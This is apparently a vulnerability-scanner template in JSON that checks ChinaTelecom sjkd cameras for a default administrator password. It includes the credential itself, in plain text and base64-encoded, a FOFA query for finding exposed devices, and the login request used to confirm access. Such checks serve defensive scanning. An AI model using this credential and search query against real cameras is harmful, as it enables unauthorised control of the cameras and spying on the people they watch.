{
  "Name": "ChinaTelecom sjkd camera default password",
  "Description": "According to the account password, the attacker can log in to the camera background, control the camera, peep into the privacy of others, and control the camera to move and take the picture that he wants to take.",
  "Product": "ChinaTelecom-sjkd",
  "Homepage": "https://www.sjkd189.cn/",
  "DisclosureDate": "2021-03-15",
  "Author": "itardc@163.com",
  "FofaQuery": "body=\"guide/login.html\"",
  "Level": "3",
  "Impact": "",
  "Recommendation": "",
  "References": [
    "http://fofa.so"
  ],
  "HasExp": false,
  "ExpParams": null,
  "ExpTips": {
    "Type": "",
    "Content": ""
  },
  "ScanSteps": [
    "AND",
    {
      "Request": {
        "data": "",
        "data_type": "text",
        "follow_redirect": true,
        "header": {
          "Content-Type": "text/html; charset=UTF-8",
          "Authorization": "Basic YWRtaW46MTk4NDA0MDM=",
          "Referer": "{{{fixedhostinfo}}}/login.asp",
          "Cookie": "nLANGUAGE=0; nDevType=2; nChnCount=1; nRtspPort=554; nRtmpPort=1935; nMsgPort=8091; nUserLevel=4"
        },
        "method": "GET",
        "uri": "/cgi-bin/login.cgi?action=list&group=LOGIN&UserID=37887967"
      },
      "ResponseTest": {
        "checks": [
          {
            "bz": "",
            "operation": "==",
            "type": "log",
            "value": "200",
            "variable": "$code",
            "logvalue": "lastbody"
          },
          {
            "bz": "",
            "operation": "==",
            "type": "item",
            "value": "200",
            "variable": "$code"
          },
          {
            "bz": "",
            "operation": "contains",
            "type": "item",
            "value": "root.ERR.no=0",
            "variable": "$body"
          }
        ],
        "operation": "AND",
        "type": "group"
      },
      "SetVariable": [
        "keymemo|lastbody|variable|admin:19840403", 
        "vulurl|lastbody|variable|{{{scheme}}}://admin:19840403@{{{hostinfo}}}/login.asp"
      ]
    }
  ],
  "ExploitSteps": null,
  "Tags": ["defaultaccount"],
  "CVEIDs": null,
  "CVSSScore": null,
  "AttackSurfaces": {
    "Application": null,
    "Support": null,
    "Service": null,
    "System": null,
    "Hardware": ["ChinaTelecom-sjkd"]
  },
  "Disable": false
}